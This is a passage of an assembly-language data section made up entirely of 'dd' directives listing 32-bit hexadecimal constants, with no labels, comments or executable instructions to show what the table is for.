10850A80h, 779A16B5h, 0A61FFA60h, 0BDE5B8F4h dd 4BFD7853h, 0B3C1A4D7h, 53D13C1Ch, 0A45E78D1h, 4C6DCFBAh dd 0D8C7B3F1h, 3A11B51Eh, 27C6D4CDh, 7A798C53h, 14CA9ACBh dd 82B71B03h, 0FB0D4F4Ah, 0EAFE7697h, 0E3B0E483h, 0E0AA94FDh dd 37D6F52Eh, 88849327h, 8BB1BCAh, 0AACAAFAh, 0D0741CBDh dd 1789E332h, 3C129B4Eh, 1CB9B06Dh, 29032B0Dh, 0B3F3A2CEh dd 67A58843h, 0E436D651h, 4E073C4Dh, 60258D4Fh, 0CF7EA696h dd 758829F9h, 125BBF31h, 4CEA26D2h, 8792D6AFh, 80E24013h dd 9301D9CDh, 5A136C5Ah, 0B52B4C23h, 93B24BD1h, 8B18BA96h dd 0B02A4065h, 1CE1AEF0h, 7F564C91h, 24B3DE00h, 44B3DF14h dd 1F56F3DAh, 8BDDA7C4h, 0F1EDE88Fh, 0E51A1F5Ah, 0D64DA515h dd 417A1442h, 0DE52652Dh, 537D2DF2h, 0BE4E97AAh, 1885D2C4h dd 0A511DAF9h, 6A9AB6FEh, 0D5493A3h, 76DA988Ch, 0CCC42E07h dd 99BCB3E4h, 0CFB059D1h, 0DE8E7EE8h, 4BDC66B0h, 0C41DB91Eh dd 145814DAh, 0A2334BDBh, 3C07EBEEh, 8EEA635Dh, 3740F13Ch dd 0BD6193BBh, 936EC8E1h, 38F184C8h, 9A8BC646h, 0FDF1C601h dd 54097A1Ah, 0B1A22F0Dh, 2AEF4E44h, 759C25D5h, 0E38BC043h dd 966C4C4Ah, 4F8124D1h, 45569AF3h, 24AD381Ch, 3302522Fh dd 0C691FA54h, 86AB1D1Dh, 23EA7C1Eh, 0BA143F3h, 0CA0F319Eh dd 34368F2Ch, 373014DFh dd 0CEF4E096h, 0C5558FA5h, 66460A90h, 0E160AF5Fh, 0C8FB6CDAh dd 8B1590Fh, 67378AC0h, 0BC6A8AE4h, 83DF991h, 62A1F64Dh dd 0DD9E9379h, 59DCF9F9h, 0E3468342h, 601121F4h, 47A9EA07h dd 0DA683CDAh, 354996F1h, 4C006474h, 310FA61Eh, 8E6DC8C7h dd 8ACC8EF0h, 1E16EF06h, 396BFD8Dh, 0BE1D3E83h, 0AFF8BDE1h dd 9408B937h, 0C27EF5E1h, 209929A1h, 0F61FC8FEh, 13033B09h dd 0FBCD9759h, 809877C1h, 3F8BF172h, 9A1D4184h, 215E9A9Ah dd 6471D35h, 4BBF67C1h, 7F78C018h, 780B0E9Fh, 0D357B161h dd 0C3A67D62h, 79C077A1h, 533FDCF1h, 83FE90DBh, 0A16443E1h dd 64170C35h, 6F33F8F5h, 0D86E9FA5h, 222132E6h, 3E6F351Dh dd 0AC070BFDh, 80B8A750h, 0A0688694h, 0C7F1EA55h, 405821E3h dd 0D02EB488h, 4D538F96h, 8CA278C4h, 97171B6Fh, 182C4998h dd 0FE0BBF20h, 9F74A8DBh, 16A8B265h, 494B9937h, 548D638Ah dd 0FCA5FFD1h, 7D90C8FAh, 0E22C092Ah, 45E473EAh, 8D1BBD39h dd 4BEEF719h, 0AF71DACEh, 1B817917h, 2872293Ah, 466387AEh dd 365B67D7h, 3D1251B6h, 1DE901F6h, 5DC38746h, 0EAC54A95h dd 3ACEE46Ch, 0CCCA6EC2h, 0DF744A1Fh, 68079207h, 76083C18h dd 354F79C9h, 0E2FDF537h, 0D155F6ABh, 753A9EE9h, 0A81E7D16h dd 0E4E6EF3Dh, 496F6A80h, 1AF7E23Ah, 34F90E81h, 0A9731F66h dd 15A4EE09h, 0EAAAD318h, 3250BA38h, 0BB5BA5A3h, 0E1960F0Ch dd 2B4A1F04h, 22FF67E2h, 0ECE3E332h, 5DE104F6h, 0F3B39510h dd 77CB3D9Ch, 5AC2CEADh, 6E1D09D9h, 0B7F3F23Ah, 0C598110h dd 3FBEF84Bh, 0E4482DB7h, 0DF0BF9E8h, 8CE03D6h, 3D04EC51h dd 0E087A386h, 0A392ECE6h, 578931F5h, 0D91E9AC0h, 0E5D5DE38h dd 0D3B3D796h, 22EA5C88h, 42C30EE2h, 60034B93h, 50D56F7Dh dd 3FAE6000h, 0DC9BECEBh, 59A5A12Ch, 306582E1h, 9AAE031Dh dd 0A35250D8h, 625CC98Ah, 0AE16DC20h, 193C4C16h, 151A120Dh dd 0EC672FF1h, 0ACDB2B04h, 5556B1DDh, 0C9154796h, 0ADACDDF1h dd 0D824753h, 0CAB8F79Eh, 52F307ABh, 0B635F415h, 0CD6D85F2h dd 741C0C53h, 204B84DCh, 25212B81h, 19964F34h, 902DCFBBh dd 0FB573F48h, 5F94C43Dh, 2C967C68h, 72C9119Eh, 0EF7DFDCFh dd 0BA72535Ah, 9EA503C3h, 375402AFh, 52D5D4D1h, 121BED0Fh dd 0A97A3EB1h, 0B9DE0F77h, 5EE7E9C3h, 2559291Ah, 13990D97h dd 66DD3A9Dh, 104721ACh, 0D510242Fh, 0CE816740h, 25F195AEh dd 0EC10DD2Dh, 0F1BE168Bh, 51EB2CFFh, 85390568h, 0F8956834h dd 9B5BD603h, 4D83F5D3h, 28E9BF25h, 0F571DE13h, 31E78FB7h dd 1F18DCEBh, 0C2F8110Fh, 0C980D424h, 0E7DB471Bh, 0A2C0CBC6h dd 0F4F2586Eh, 0D53CA6C2h, 46C2A12h, 0E4CD894Dh, 364871EAh dd 0F44BE182h, 0B465BDD8h, 8B55933Ch, 0FFF8E5F6h, 4DAFD540h dd 81A5BCA5h, 0A5020D59h, 0E58EDEAFh, 4E59201Ch, 1C6FBCD2h dd 25F470A8h, 3EC01573h, 33FD135h, 6D8C5838h, 2DAC1318h dd 96FF2D3Dh, 0C69E93ADh, 0A334D969h, 0E8EB0EBEh, 0FFEC5935h dd 0F07705BCh, 620B9FD7h, 60B04438h, 5B5AFB8h, 0F718DEABh dd 3C71F9D9h, 81904FDBh, 12AB0349h, 0F39811FBh, 0EA826244h dd 0D12DF6DFh, 10327AD9h, 0BDC6C90Bh, 3708049Bh, 0DA1F10A1h dd 0DD07943Eh, 0D14D264Ch, 0F7BC9B33h, 0B08F3B72h, 0F2F8C9F3h dd 0C2E79C17h, 3ACB9812h, 59991BFEh, 3F7BF90Ah, 0D34067C2h dd 27BE8164h, 6F716F93h, 2BEB2637h, 3C6D65F5h, 3D1CBD2Ch dd 3628B9ADh, 4C733467h, 6C5E900Bh, 1890107Ch, 8C5E6036h dd 9B3DF6AEh, 5DF8AC98h, 2C7FE1EBh, 0F16FC0AFh, 3E1F1BF3h dd 6460E02Bh, 749F2EBBh, 0F8213246h, 44469728h, 44E9B3A1h dd 71ED3B1Ah, 0A3F69C41h, 6CF20947h, 1CCCBD94h, 6B4A486Dh dd 80A9A49Ch, 3EDCF7F2h, 0D7BE6E16h, 225D849Ah, 8D43B5B3h dd 2924A1C0h, 0D6F7B81Ch, 0D062053Fh, 17EFE41Fh, 4D2EA65Dh dd 0EC6758BBh, 81C3B17Dh, 0A9F5A042h, 481BDA12h, 429B43FEh dd 6736ADD0h, 0EDB4674Dh, 0B751AB03h, 7161055Bh, 65C9DE38h dd 188FBECCh, 1A0F9DD7h, 0BFC4F2D0h, 6B2E0152h, 9041953Eh dd 0DE2687C8h, 10B8250Ch, 0DA95817Ah, 0ACCE76h, 56F094EAh dd 8C0AF817h, 0B277E821h, 594018ADh, 0EC48D1ADh, 23D5901Ch dd 85C510BBh, 679282B7h, 26DD1D17h, 33EBAD8Dh, 0AA045B6h dd 24A48E94h, 42CB9DE6h, 1CDBF6BFh, 0F83DE153h, 0D602E0C6h dd 7DD09A5Ah, 0FA82463h, 0A6EAF3B8h, 4EBC52E0h, 1B730CF5h dd 0B14E00Ah, 4AE4BF02h, 97524EFBh, 10E95840h, 224531C9h dd 5B1BC9B0h, 0AAAC77B5h, 0E5E8D630h, 87D27E27h, 42E47208h dd 0C7E84B7Ah, 3B167CB8h, 70B37BC5h, 9289C582h, 0D146451Eh dd 67A47B5Ah, 377A7B0Ch, 8C25E093h, 0AE67D84Ah, 0EF7C7A4Fh dd 0B9FAF842h, 1FEF2C19h, 339837D3h, 5709551Eh, 7D3C69A7h dd 0FD41763Ah, 4AA991ADh, 0EAA94C87h, 49BC026h, 0BB3BDDEh dd 653FC8A7h, 7624352Eh, 5AC60A56h, 13DE1D3Ah, 97868806h dd 0B658144Ch, 0F202CC15h, 0B3894216h, 8021B929h, 0C49537CEh dd 3047A368h, 54DC3139h, 0EE2B19F3h, 8AB512DEh, 0FC91D895h dd 0F08CA245h, 0C895F803h, 1F68CD50h, 665B7564h, 0E3D34D87h dd 2C71349Ch, 0EABE2FC2h, 0CD62A02Fh, 65069DE0h, 0E4015749h dd 0C5103BEAh, 7A33BF21h, 6E5A994Fh, 0FE321FF2h, 75EDADD5h dd 6C9FCEE1h, 0F3D5BDF6h, 691E2DB2h, 0E4C58881h, 0B9F1C805h dd 93381045h, 13FBD0A3h, 0BD0A2C43h, 31F2835Ch, 0B59B30A7h dd 781999ABh, 61B327C9h, 0F2686539h, 0EBD8ED7Ah, 0B5B4B09Ch dd 79DAC440h, 228F5AD4h, 0F45E24D6h, 0E3D5CDCEh, 1188B7BCh dd 3BA90EFBh, 58DF164h, 0B56BF2B3h, 55509A6Eh, 0CB48D6D7h dd 0B701577Ch, 70462B60h, 0B4321FE6h, 68D2551Ch, 71E05C7Dh dd 0D9679D47h, 0EC3E4472h, 0D78CD92Bh, 0C6D58B6Dh, 1D1706B4h dd 0AC508B20h, 0AC8B240Fh, 0C916ECB8h, 0FE8D79BBh, 724845D8h dd 0BC955EFFh, 8E19F650h, 4F3D7F6Dh, 26180504h, 4C3E2A8Eh dd 4C634815h, 0A5E26926h, 172A9716h, 0F2C8D50Eh, 25B7763Ah dd 0B1A30807h, 62E46030h, 71467650h, 852E0A0Fh, 0C4610687h dd 0F6BC714h, 3F83B471h, 84AA13FEh, 0CB8E42A3h, 29887560h dd 6F7DDCD5h, 0BA39C113h, 7B6C4132h, 0BE7D312h, 823251A3h dd 1A4658A9h, 4560DF57h, 7C6135C8h, 3818E2C3h, 5263D425h dd 600C195Dh, 6491E4DFh, 0AB40B4A1h, 0A3A67E75h, 5239B1C6h dd 6EF046D1h, 7F8E3EBFh, 131077B4h, 0D335182Dh, 0CE470336h dd 0B277457h, 2A0EF195h, 763F8393h, 0C7DB75B9h, 6CC3FDDDh dd 0C620497Fh, 3E416E2Bh, 7773B001h, 9EC6731Dh, 0B0DB4C01h dd 1B687C26h, 0D42CDF89h, 672A131Bh, 331AA6CDh, 89E92239h dd 0DF8733F9h, 929B4827h, 991B1970h, 1D61A9E0h, 0A6FAB320h dd 1316EF91h, 0C8E62A8Eh, 0D18454A0h, 0BDEFEAF5h, 4B2DB833h dd 192CEAD4h, 0A5E9377Ah, 6F91C55Dh, 89846D9Bh, 0D579CB25h dd 3CF0E4FFh, 0A4D871C6h, 7D979D61h, 8318A074h, 0E95F471Ah dd 0A9CA9E81h, 8641AC7Dh, 67F3903Fh, 386DE0A5h, 979E9902h dd 0C7CAC58Ch, 71FCC428h, 572CFBC6h, 9028BEA5h, 19053A70h dd 919B555Eh, 0CE08DBAAh, 0C43584DAh, 6C70AB7Eh, 0D23F69E9h dd 56A8DC6Bh, 102FB908h, 706DDFBFh, 69B34CC0h, 61B2E50Ah dd 0D95E895Eh, 6229333h, 7B762AC7h, 3B53F2D9h, 26358E4Dh dd 16695D99h, 7AFF1E78h dd 3FB6E856h, 0B4BF2195h, 698F8879h, 0DEE9F948h, 5800C156h dd 29A3224Dh, 35F15FB7h, 34BFDE45h, 0EA840C71h, 50B7A229h dd 0D0DEA5C9h, 331F5C18h, 5A4C8F91h, 0CFB3675h, 421988Bh dd 89246F95h, 0FB271298h, 0A388C0E0h, 0FF209F55h, 0BDCB1D47h dd 727DCC43h, 26F15A92h, 72111596h, 407D0356h, 0CD98AA0Ah dd 0F9C092Ah, 7C45799Ah, 0F8EE86CFh, 0AB3DC269h, 0F41AD29Fh dd 0BD18E980h, 99D0CC43h, 95D88607h, 0EE78A4C3h, 41F3DF3Bh dd 0B69CF04Ch, 374C58C6h, 0D8D5C182h, 0CEABB3EAh, 51CD2647h dd 7840D188h, 54875C2Dh, 0D803010Dh, 0BAF27F01h, 0F75EB191h dd 12E27093h, 903234C7h, 0E01606F6h, 0C4DA4E65h, 3C403F6Ah dd 0DA6A5A1Bh, 28EEA406h, 0A56B74EDh, 7F3AFEA8h, 0DC2CDC69h dd 0BF92399Fh, 67F185EAh, 0A9F965A9h, 0CE1E3CCEh, 71F2705Fh dd 20B8BC38h, 740C694h, 0D456E7F7h, 62A004BBh, 0A2AA576Ah dd 18D3050Dh, 8E1DFF92h, 0F1D3951Dh, 0E3199192h, 2C9B5D00h dd 9E33B86Dh, 7EE3D5B6h, 935E2417h, 0CCB5A576h, 211B90E2h dd 6FA3E0Eh, 8C85C831h, 0DDD9B6C6h, 0F0592A70h, 0D0CD4795h dd 4076AD66h, 6849C3B3h, 5743B8C2h, 342729BAh, 77E9A097h dd 530BECA4h, 0D6289EB9h, 92F52B38h, 0F3FE5224h, 0C6953A45h dd 5F3D3CA2h, 95D401h, 9FE5600Eh, 0D5DEF981h, 536696E0h dd 91C0470Eh, 2A999D4h, 0EE47FEE5h, 96E07522h, 0CFAD4394h dd 44343F2Ch, 0CE8E54C0h, 389734DDh, 0D337C472h, 0CD718BF9h dd 20649E95h, 0CC1C833Ah, 5D75F015h, 0B8542612h, 77444B7Dh dd 0FE959D39h, 0A3D5927Bh, 1C0ED9EEh, 352C477h, 15926A8Dh dd 22469075h, 0B50E863Ch, 0A60BCAAh, 77A369EFh, 4DA1711Bh dd 1BB81574h, 4C59F8B4h, 0C5207F14h, 0C636B884h, 0FF24E3C6h dd 0FC4E0C8Eh, 7ECE1651h, 93D5DEE4h, 0E5768587h, 0F480D2EDh dd 0F8C80996h, 0D67371Ch, 9CE04081h, 2BB80952h, 0E2C11EF4h dd 0BA0708ADh, 0ECEC0C6Eh, 0D6324F1Dh, 68046322h, 9C8DB4DDh dd 0F73FB1C7h, 67F7579Ch, 8EB62Dh, 6B42E55Ch, 38685ACAh dd 0DC2D5A5Ah, 359AC3C6h, 0A4C32BC7h, 787EDC11h, 0AA091602h dd 445EC663h, 25AD9BA7h, 0B168D4D2h, 0BFE07AF5h, 42A68A32h dd 48625D4Dh, 0C6F38E97h, 2AFC0F03h, 0B1D64076h, 0C2B0C63Eh dd 838B0C28h, 79E90A97h, 0A5307F2Bh, 32CF526Ah, 0E4603F59h dd 6773D031h, 0F9DCD67Ah, 0F31E675Ah, 64503C1Ch, 211BA2DFh dd 3DAE3F76h, 25B87DDFh, 21763C73h, 0DF67A198h, 99AE3EF7h dd 0C896F83Ch, 0C217A4C7h, 395FB6B2h, 0A075E29h, 0E8AE8721h dd 2E987E59h, 0ADABE00Ch, 0CFCE9FC3h, 0EF20E4E8h, 0A6C8D345h dd 50E7D284h, 0E34C3748h, 0E5C37926h, 8315F8D9h, 10DA1ADEh dd 0D927A714h, 0B77F150Fh, 91FCFDF5h, 0AE5397AAh, 45DC656Dh dd 56AC62CAh, 6B449892h, 0B7B00762h, 912478F4h, 12BD17CEh dd 0ACEF382Bh, 5B50A177h, 24DDD7EEh, 16FB0A28h, 1B7FD0A7h dd 7AB7A6CFh, 20C31728h, 0E47EEF01h, 0ABC4EB1Ch, 6F3846C6h dd 0ECDAA685h, 0F2FB9BEAh, 9F59F2FBh, 0EB311522h, 65B95DFDh dd 15B4F826h, 2E492653h, 0F4C97CC8h, 0EFAC6F69h, 6FD191E5h dd 5D7A659Dh, 8253A28Ch, 772452D5h, 0C4EB2F3Fh, 2AA1ACE4h dd 0F390B0C4h, 0C0E6D7AFh, 0B784D208h, 18C287CEh, 7BD069BDh dd 1BFCE0B5h, 5238B469h, 1F6541F5h, 93BCE49Fh, 552C3E09h dd 271FDA0h, 6D2AEA87h, 20E534B7h, 2FCB9E86h, 51521594h dd 0F370CAD0h, 963285ADh, 634087C6h, 8BC25543h, 940B04EBh dd 0A029CB5Fh, 29CC1C11h, 0DC195977h, 7CF795CAh, 5D2E44B2h dd 8FD2D4BCh, 0BCB0AE6Bh, 0F86BF24Dh, 5C4D6C5h, 0BC24D2CDh dd 0C6DD08A6h, 43A20BA6h, 2C47E56Fh, 0DC2DB591h, 5F1F990Ah dd 0D159B61Ch, 5195215Fh, 9CBB7868h, 7C4F8A07h, 6374EAA4h dd 1D14ACC7h, 34931F35h, 0B5359A83h, 8D14FD7Dh, 707B73D7h dd 714E9E4Dh, 3BFA24F9h, 8F40825Eh, 8B4187Dh, 0CE7410BBh dd 9563078Bh, 0DF054CE3h, 0BD6CC669h, 0BCCDE076h, 0DE64A4C8h dd 0D4F291FDh, 4C14F353h, 0D81A896Bh, 0DD9F0FC3h, 6A27DB7Ch dd 87E4596Dh, 36DB539Ah, 2F5792E0h, 529D56h, 7517A30Ch dd 232C02E0h, 770E192Ch, 5C7F67B2h, 49E035C1h, 0AD0B0176h dd 0E6B6455Ah, 7380AEB6h, 0A93CDB68h, 5BFD3E66h, 3AA2C8C6h dd 3E2A7635h, 10E2219Fh, 0F477738Ah, 6CCBFF78h, 36B06870h dd 0D7FA9220h, 5ECC7072h, 0A816F286h, 244909D6h, 2742CDBCh dd 6BD00514h, 0AC0C987Dh, 2ABC4CC5h, 836B502Ch, 5C0D1BC9h dd 931C757Dh, 81F1009h, 0C3486656h, 2C7F4EB3h, 1CDC6C1Fh dd 63EBB23Ch, 1DDAAF30h, 0BB2B6B65h, 3F07003h, 35A8B311h dd 3A05DEB1h, 0E28F702Ch, 12B19683h, 0E6E1E692h, 2F7CAE1Ch dd 378548C5h, 703FC52Ah, 0B7BF3BBDh, 57608F71h, 57F3213Ah dd 445E6571h, 0E4F9513h, 37DDE8ABh, 0EA006FB5h, 7323C814h dd 90C7ACF3h, 0D42D178h, 715C6A39h, 17E99ED5h, 0CDDD3ADBh dd 9D5064BBh, 0FD6D9BB4h, 97F1DB0Dh, 160CF1EAh, 0FA4516C3h dd 18F340ABh, 6B44B51Ah, 674A4963h, 484A6E52h, 0FAD6F78Bh dd 0C7F14878h, 7EE165E1h, 9730E496h, 0C93C3506h, 34CD08B3h dd 0C5B56B0Fh, 0C1F6C13Bh, 30AC750Fh, 966FF54h, 305EF5A5h dd 0DFEF2240h, 8AF7715h, 21441F50h, 0D95D4C92h, 0A22BE360h dd 3191F869h, 9873B9C2h, 2B86B26Ch, 1CADD8F9h, 0CF657E52h dd 0C1BAA529h, 0EDF9EEEBh, 9F894C65h, 0BC5D7CFh, 9F570F4Ah dd 72004118h, 46551223h, 0F939044Ah, 0CBBAB05h, 57BC9F94h dd 9B86EAFAh, 0B54914A9h, 5565255Dh, 960FE9B1h, 6E980878h dd 0B98A0A98h, 9BB8228h, 224CEC91h, 389FC549h, 0CEF114A3h dd 29043859h, 7ED7D967h, 95D3AF6Eh, 0A4CC0B88h, 55F47403h dd 0A2B13418h, 0AC61AD4Ah, 84BA7B19h, 0E3DA224h, 40DF498h dd 0FF11FBB1h, 4771CB0Ch, 0EF94CCAAh, 0BD3C3FFh, 9F821724h dd 74A5ADCBh, 15ED3568h, 3D99EE96h, 0B5104327h, 5A85FF36h dd 664645D9h, 1DF60BDCh, 7259F330h, 4E76E870h, 0EA47931Ah dd 3CD6E8FBh, 69467B53h, 94186EC2h, 962B65C1h, 0A8544F27h dd 5F0C6EFEh, 0A30D1DBAh, 0F1E56B2Ch, 16B2E5BAh, 0AF0877B5h dd 5FA4AD19h, 78D00B63h, 0E5796A4Ah, 0E628C5ACh, 9E11D2C5h dd 0C4E284A3h, 0B5BC9A73h, 73B27CCFh, 9BD5F2A3h, 46279A4Dh dd 0D8ADBE44h, 61FBDE56h, 0C8F6F367h, 48A7158Bh, 234AD91Bh dd 62D53644h, 4256BD5Eh, 0F1EA9351h, 13C690A8h, 692D1ADCh dd 470688E6h, 23FB6441h, 0DFE529B2h, 0CBC6905Ah, 39F2FE19h dd 0DDD91EAFh, 82C55547h, 0A936DC3h, 3EC980D7h, 8549B87Fh dd 7DCDD918h, 0AEB296E3h, 7A228467h, 0DC642BCAh, 6073F258h dd 0AFD2B426h, 0A59FD0BBh, 0AD74B690h, 0CA583BE3h, 7719AEA9h dd 63BD0706h, 0BB9DD104h, 0EA407C6Fh, 17BF1A6Bh, 23E8722Fh dd 2371E318h, 526C67C7h, 0DD0F1176h, 25CFA5D8h, 0CA3BCC9h dd 517FC9D8h, 48265E4Fh, 4B1F57CCh, 0C3B8E2D9h, 0BA1F3191h dd 0D6316907h, 20B0AADh, 0FF831EA4h, 3ABF034Ah, 8B137ADh dd 0F77129F5h, 27460662h, 0E749ACFAh, 735A306Dh, 58D7570Fh dd 4272C92Eh, 0D4A8A313h, 0BC22E2A8h, 77E25CE1h, 0AD09AC18h dd 9986FC6Ch, 0B8C49AF5h, 857574Bh, 6A938CA2h, 72C76635h dd 15FCA54Ah, 93EB8F74h, 9C00BCE3h, 52FC5CF7h, 0AF60C80Dh dd 0E2ADADFDh, 0BBF0D457h dd 7BEEF67Bh, 9DC1BE5Ah, 0FE136380h, 0B77B9861h, 6069466Fh dd 1C5A5920h, 627C7F89h, 4BB982F0h, 6986DD04h, 0F9AC31E8h dd 6E5FDE63h, 0B69B87Eh, 3FBDC8F9h, 9F4A5FFFh, 204302C4h dd 3530D0BBh, 0CE32F59Dh, 0AABF14ADh, 21742274h, 0A8A9A7D4h dd 9B9032C2h, 0CD6D77E3h, 553E3CD2h, 6A9F1DD4h, 0BD1CB8A1h dd 7CC19280h, 0FE44F4A9h, 0B1ECBE02h, 0FB884BE3h, 1AB172E5h dd 0AEE04F06h, 274708CDh, 529CA57Dh, 0D7C9A742h, 0EC4DC6D7h dd 0BE5E5416h, 3611C089h, 8ECF4DEFh, 1D59CC3Dh, 0B9AFE9F4h dd 0C0613A87h, 0DD74FFEBh, 146AACE2h, 6C174E1Eh, 45ECD812h dd 0E57E3C7h, 26FF686Eh, 349CD839h, 0C4A27FE5h, 8D54AE57h dd 40C362F4h, 0D801829Ah, 2B4647C9h, 0B9A16EF6h, 2563EF69h dd 5CE50D42h, 0B53B144Ch, 7EB3EB72h, 24587A08h, 3131913Dh dd 0AA8DE882h, 5FE976B2h, 0D906B1BBh, 7773AF12h, 0E796DDA3h dd 0DA7CB7Ch, 0D8C87C60h, 0D62DFDC2h, 947DDEE6h, 84C0A294h dd 13F24115h, 31C68CA8h, 248D8EA4h, 60E05552h, 58C8FD5Eh dd 0A7C97DC4h, 4E6E4D0h, 14456E87h, 9BDB5EC8h, 3120EDE1h dd 2B9F0995h, 0D4BCC00h, 0D3E01262h, 8984B83Dh, 91F0DC97h dd 22E0FB5Fh, 459CAA5Bh, 7E034C12h, 0F61F1B1Bh, 0C397DE9Ch dd 551ECA98h, 0AE33BA64h, 0CD941638h, 1BB59820h, 0B84A4DB9h dd 0DB38961Fh, 87520F6Dh, 9D250480h, 0C37A743Dh, 0E8203297h dd 10119C30h, 0A0C41441h, 327FA121h, 0E08492EEh, 0A214C4C5h dd 8D142B2Bh, 0D9826B81h, 0B934DE1Bh, 7E302E24h, 0B74F503Eh dd 769A1155h, 14D619FCh, 334698CDh, 0E46AC5DBh, 0C4920237h dd 0EA3B1F73h, 940C0970h, 9E574E8Eh, 32BCE66Dh, 0C4176146h dd 4051FABFh, 0A00D4CBh, 0AB9E7D33h, 5E5AD160h, 1C3F16FBh dd 0AFB76A75h, 643C00D2h, 0CE713D5Eh, 0CD0290D6h, 5F60C45Ch dd 0CF2C371Ch, 0E7BB1586h, 30533019h, 0A37302C8h, 0F2DCF987h dd 63398314h, 9DDE6BCDh, 70D88B25h, 0B5EE89AEh, 41654695h dd 0AEE3AB3h, 88677F82h, 5F76BE7Bh, 7710BB8Bh, 57D6020Dh dd 2EC6DD3Eh, 835C8E89h, 84D885AAh, 0A8CA41B0h, 0B14FE524h dd 81615F77h, 99A828F0h, 34C85602h, 0FBFA0EA3h, 0AB9713C8h dd 0A4176B10h, 0F4FB549Fh, 0CFA9B0BAh, 49695F31h, 6BFAA36Fh dd 42180D26h, 80CC65B3h, 0E3797878h, 3396A4E6h, 0C82FE21Fh dd 0C20A519Ah, 54496194h, 0ED93D075h, 0BA280B82h, 0E98C4FF7h dd 9DFF1789h, 0F43F2F48h, 9DA4EB45h, 95E77AE4h, 0FFD34DA5h dd 74200580h, 0DC56513Bh, 806F6710h, 32B8CD3Ch, 2E6FD579h dd 97145C9Eh, 74DF760Eh, 34C5AEB0h, 0F51AEBADh, 0FA0FB133h dd 339FB36Dh, 0D8D02197h, 0AFCF9815h, 0F4C00691h, 502410A0h dd 0C2E3CB86h, 0BB7081CBh, 29226B4Ah, 14BB948Dh, 40043E6h dd 7ED93605h, 7409C164h, 0E74F1D73h, 0B23F5F00h, 0DD6AAD3Eh dd 3EB51D90h, 0D8F2808Ah, 0C202A0E9h, 4E1582EAh, 14A341D3h dd 6EF7D6F8h, 0E157EA50h, 8855B7F8h, 0FC4936E3h, 99414620h dd 0F2F9BD9Dh, 58FDD40Fh, 2AAA81EBh, 0D921FD04h, 0A78B21B5h dd 9BFC9285h, 9E9A36F1h, 0FDD21DD8h, 26F1F420h, 0B9FF7D1Fh dd 5822A003h, 0B210C864h, 10AA288Ch, 0F9D3E2B0h, 8E286C33h dd 0F08E78C3h, 8D19812Ch, 8591206Eh, 1DC995Eh, 7FA2119h dd 7D98AC2Ah, 5346C0A6h, 85C3044Fh, 3D9EE56Ah, 0DC848D66h dd 492A32ABh, 0D863CCFDh, 0F5B0DD38h, 0B02911A5h, 0E8A37E9Ah dd 0E6CFED4Ch, 2AFDEF5Ah, 6F8D57E7h, 91BDEB67h, 9E7711h dd 708C4407h, 23A8620h, 95E9C59h, 0DF3BECDh, 94758196h dd 0D1B1F80Bh, 8F20A479h, 3E2927AAh, 0E64ED036h, 41BD3283h dd 5F90C04Ah, 7E35ED38h, 3AE49A05h, 677A6BFAh, 0B9670517h dd 9DD811A1h, 7CAC2ACFh, 10C8CBE2h, 244F617Ch, 0FA8D90BAh dd 77E926B1h, 9B7D287Eh, 6961481h, 0AA519BFEh, 9DAD1011h dd 0C8A65D5Ch, 51B9DE61h, 22FFB50Ch, 91E85E5Eh, 0B23110ABh dd 0C2847B8Ah, 717DF8CBh, 2A931B75h, 4EBB598Fh, 6B22B7CAh dd 3EE1B49Fh, 8652E742h, 4DD7A1DCh, 97A2BAB6h, 0FB4F151Bh dd 4AC0ADDFh, 0B0EEE8EAh, 0AD1526D0h, 5592168Eh, 4A2B748h dd 0AB448D82h, 0C2A76A88h, 3B62891Ch, 4EEF89BDh, 2595F9E8h dd 0D407F79Eh, 581099EFh, 88FDB36h, 4BA0C6Eh, 0DF3C48D0h dd 1DACD2D6h, 0B968C4BDh, 0D53DA423h, 4F1E83DCh, 720E32D8h dd 360247C7h, 0C0FFB628h, 30C60F99h, 4A7D8AEAh, 0B0B12A59h dd 6FF0B29Ch, 4BDF53FEh, 6873F808h, 5F0456ECh, 0DAA0EC06h dd 0EA2A35ADh, 6AE5191Ch, 52996EF0h, 0D3425D88h, 5CAA8B8Ah dd 124799D9h, 1890B761h, 61128757h, 6E686E59h, 0F44CCFB2h dd 0AD5E4465h, 0E538776Dh, 7EAE8427h, 3499287Ah, 0C8719469h dd 6779B379h, 3DA1E61Dh, 9A5D6297h, 0B0BD0191h, 0E7DAF7B9h dd 3E2D4B2Dh, 94D023B9h, 53CCDE8Fh, 0E7D94A3Dh, 0FA5224D8h dd 0E1827101h, 8CA05BFh, 0A3C99516h, 9CA67165h, 14252185h dd 0D340DC08h, 5DE157FFh, 0BB439E0Fh, 4651BD09h, 22F034E1h dd 0B2FC7A82h, 80FD2FD5h, 0B49C663Eh, 542E30D0h, 85E92201h dd 7DE08C02h, 81590B59h, 0E6C6A83Fh, 4814DFC2h, 6908365Ch dd 440CB239h, 815E6D2h, 0FB7EEB6Ch, 0D1D47499h, 5EE23072h dd 6A495524h, 83779872h, 617FD0EBh, 0BA386D59h, 1DDC0832h dd 2AFBDE7h, 5F8352E8h, 9ADF5029h, 8B8A1FA3h, 0B2347A85h dd 2A00D615h, 8F3C18EBh, 0FA52E40Dh, 510D2692h, 12D703F3h dd 7B3F0487h, 171DA483h, 51FAE385h, 4BDA91DDh, 6421FA5h dd 0D2473F29h, 6CFC2B44h, 7F4F0DE5h, 6CFE1546h, 871CFA50h dd 96D41681h, 5F5E4361h, 8D79BEBBh, 0DE721868h, 3FE60C1Eh dd 557035A8h, 201AF6D6h, 9451E7A8h, 37B950BCh, 9A114497h dd 2BBC2AC4h, 0C8C92525h, 0B85A17C7h, 0DD3E539Ah, 0C1D59B3Ah dd 0FF95E774h, 0A92B404Eh, 0A226C01Dh, 41EDDC01h, 0B4D220B9h dd 24475EE4h, 0C4615A8h, 1FAE1325h, 0F542917Eh, 0CA6E5C97h dd 428B94E4h, 0FA1146C9h, 98DC472Ah, 0C00FE198h, 31458D12h dd 0EFFA81DDh, 0F8060D65h, 3DAD9B15h, 1B398DDCh, 946D93A5h dd 4C445879h, 0D792FF55h, 8E6BAD32h, 56DC9385h, 0E9CCBF1Ch dd 0A4DCF894h, 0A849C498h, 1AC51B8h, 42639758h, 2E23D589h dd 496CA1FEh, 1FFACF9Ch, 0F4658642h, 8B65F469h, 4639669Ah dd 0E2414D7Dh, 98C1D91Dh, 7BEAE255h, 9722F42Ah, 14858D2Fh dd 33EB900Dh, 0CB32172Bh, 88F0583Dh, 0BB226754h, 0D3B90B2h dd 2DD305C2h, 0BCF97F69h, 0FC860310h, 1A613EEBh, 18DE620Bh dd 1729328Fh, 0BCE8175Eh, 0BFB79C85h, 15F1ADBCh, 8309F066h dd 